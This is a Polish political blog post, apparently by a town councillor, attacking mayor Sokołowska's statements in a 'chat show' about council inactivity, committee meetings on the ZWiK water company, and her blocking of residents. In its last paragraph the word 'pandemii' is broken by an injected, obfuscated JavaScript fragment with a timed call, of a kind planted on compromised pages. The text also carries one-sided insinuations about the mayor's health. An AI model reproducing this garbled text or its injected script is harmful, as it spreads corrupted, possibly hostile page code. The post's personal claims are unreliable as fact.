Kolejna „prawda” burmistrz Sokołowskiej.

Podczas czat show burmistrz poruszyła kilka kwestii używając do tego swojej „prawdy” W związku z tym chciałbym pokazać, jak wygląda prawda obiektywna. Ja w przeciwieństwie do burmistrz Sokołowskiej użyje do tego dokumentów. Najpierw jednak filmik z czat show:

Jak widać na filmiku burmistrz zarzuca Radnym i Przewodniczącemu Rady wyjątkową bierność i brak aktywności w styczniu i pierwszej dekadzie lutego. Proszę zapoznać się z pismami Przewodniczącego Komisji Rolnictwa Radnego Jerzego Brzózki oraz z odpowiedzią burmistrz Sokołowskiej, na temat posiedzeń komisji:

Przewodniczący Komisji Rolnictwa chciał zwołać posiedzenie Komisji Rolnictwa, aby zapytać o plan remontu dróg żwirowych i porozmawiać o sytuacji w ZWiK. Burmistrz Sokołowska odpowiedziała, że zgodnie z pismem od Przewodniczącego nie prześle żadnych materiałów do 10 lutego, gdyż do tego czasu mają się nie zebrać komisje. Czemu więc w czat show jest zdziwiona, że się nie odbywają? Czy to my nie chcieliśmy się spotkać i rozmawiać w sprawie ZWiK? My? Co pani na ten temat odpisała Przewodniczącemu Brzózce? Z pisma wynika, że to pani nie chce rozmawiać! Każdy kto skończył przedszkole potrafi to przeczytać. Pani nie potrafi? Więc co pani opowiada na filmiku, że my nie chcemy rozmawiać? Co to za brednie? Burmistrz Sokołowska znowu zapomniała co napisała? Może jednak warto pamiętać o tym co się pisze, bo tak trochę dziwnie się wychodzi przed ludźmi. Jeszcze niektórzy gotowi są pomyśleć, że coś ze zdrowiem nie tak, że się takich prostych i niedawnych pism nie pamięta.

Po drugie, jeśli chodzi o ZWiK. Pisze pani, że plan pracy komisji na rok 2021 nie obejmuje rozmowy na temat ZWiK.  Z tego co pani od pół roku ogłasza, to sytuacja w ZWiK to jakiś dramat. Dziwi się pani, że Radny Jerzy Brzózka i członkowie komisji chcą na ten temat rozmawiać? To panią dziwi? Dziwi i panią, że chcemy rozmawiać o sytuacji w strategicznej dla Gminy spółce? Pani się dobrze czuje? Co z tego, że nie ma tego w planie pracy komisji? Skoro pani uważa, że jest tam taki dramat, to my nie mamy prawa o to zapytać, jeśli od pół roku nie może pani powiedzieć na czym ten dramat polega? Pani myśli, że ile będziemy czekać na jakiekolwiek informacje? A może jest tak, że nie ma dramatu, tylko trzeba się było pozbyć szefa firmy i wstawić tam kogoś innego?  Może to jest ten dramat? Pisze pani, że nieprawidłowości w ZWiK to ponad 25 lat, które wymagają dokładnego przeanalizowania problemu. Jakie to nieprawidłowości? Kto to analizuje? Pani ze swoimi prawnikami? Zaczynam drżeć o to co się może okazać. A może chodzi o dokonanie podwyżki za wodę i ścieki? Jeśli pani liczy, że Rada to poprze to radziłbym zapomnieć. My troszczymy się o naszych Mieszkańców, bo są naszymi rodakami.

Po raz kolejny pokazuję „prawdę” burmistrz Sokołowskiej. Żyjemy właśnie w Gminie, gdzie taka „prawda” okazuje się być alibi. A kto potrzebuje alibi? No właśnie! Kto potrzebuje? Czat miał być realną formą spotkania z ludźmi. Na urzędowej stronie, jeszcze raz powtarzam na urzędowej stronie, poblokowani są ci, którzy zadawaliby niewygodne pytania. Poblokowani są obywatele tej Gminy, nasi Mieszkańcy, właściciele tej strony, bo to oni płacą za funkcjonowanie Urzędu. To jest czat burmistrz Sokołowskiej. To jest czat osoby odpowiedzialnej za słowo wypowiadane. Moim zdaniem to jest kpina z ludzi! Uważam, że to najbardziej poniżająca forma, kiedy w dobie pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemii, ktoś potrzebujący, nie może zadać pytania, albo zgłosić problemu, bo jest zablokowany. Po co tak się robi? Na to pytanie odpowiedzcie już sobie sami, kochani Czytelnicy. Andrzej pewnie wie dlaczego.